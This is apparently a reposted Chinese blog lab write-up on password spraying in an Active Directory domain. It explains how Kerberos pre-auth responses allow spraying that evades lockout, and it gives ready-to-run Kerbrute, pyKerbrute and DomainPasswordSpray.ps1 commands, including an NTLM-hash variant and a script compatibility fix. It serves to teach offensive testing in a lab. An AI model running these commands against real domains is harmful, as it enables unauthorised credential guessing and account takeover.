自学内容网 自学内容网

域内密码喷洒 Password Spray 实验

password spray

1. 实验网络拓扑

kali: 
192.168.72.128

win2008:
192.168.135.129
192.168.72.139

win7:
192.168.72.149

win2012:(DC)
192.168.72.131

2. 简单原理

Kerberos针对同一个用户,多次的密码尝试请求有锁定保护策略。

但是我们可以切换用户,固定密码,来进行喷洒攻击。

就类似在双重循环换了个i,j的枚举层次,能绕过锁定保护策略。

对应Kerberos流程,是AS_REQ阶段,提供的pre_auth正确与否(用户密码hash加密的时间戳),AS_REP返回的包有差异。

利用这个差异,就能进行爆破。

3. 实操

感觉这些工具有一个小的局限:一次只能喷洒一个密码。

当然也很容易写一个脚本,循环读取文件中的密码来爆破,所以倒也无妨。

0x1. Kerbrute

前面枚举域用户的时候也用过,这里用的是 passwordspray模式。

xxx.exe passwordspray --dc 192.168.72.131 -d intranet.com users.txt 123qweQWE

在这里插入图片描述

0x02. pyKerbrute

同理,只是这个可以支持传入密码的hash。

明文口令:

python2 ADPwdSpray.py 192.168.72.131 intranet.com users.txt clearpassword 123qweQWE udp

口令hash:

python2 ADPwdSpray.py 192.168.72.131 intranet.com users.txt ntlmhash d92f28ef1db7d97706a7bb3983632cf7 udp

由于需要python2的库,这里就不演示了。

0x03. DomainPasswordSpray.ps1

需要在域内的机器上执行。

Import-Module .\DomainPasswordSpray.ps1 
Invoke-DomainPasswordSpray -Password 123qweQWE

但这个脚本的兼容性不够好:

在这里插入图片描述

解决方法就是把

[System.Collections.Generic.List[String]]::new() 

换为

$UserListArray = New-Object 'System.Collections.Generic.List[System.String]'

再导入就行了:

在这里插入图片描述


原文地址:https://blog.csdn.net/ULGANOY/article/details/142684430

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!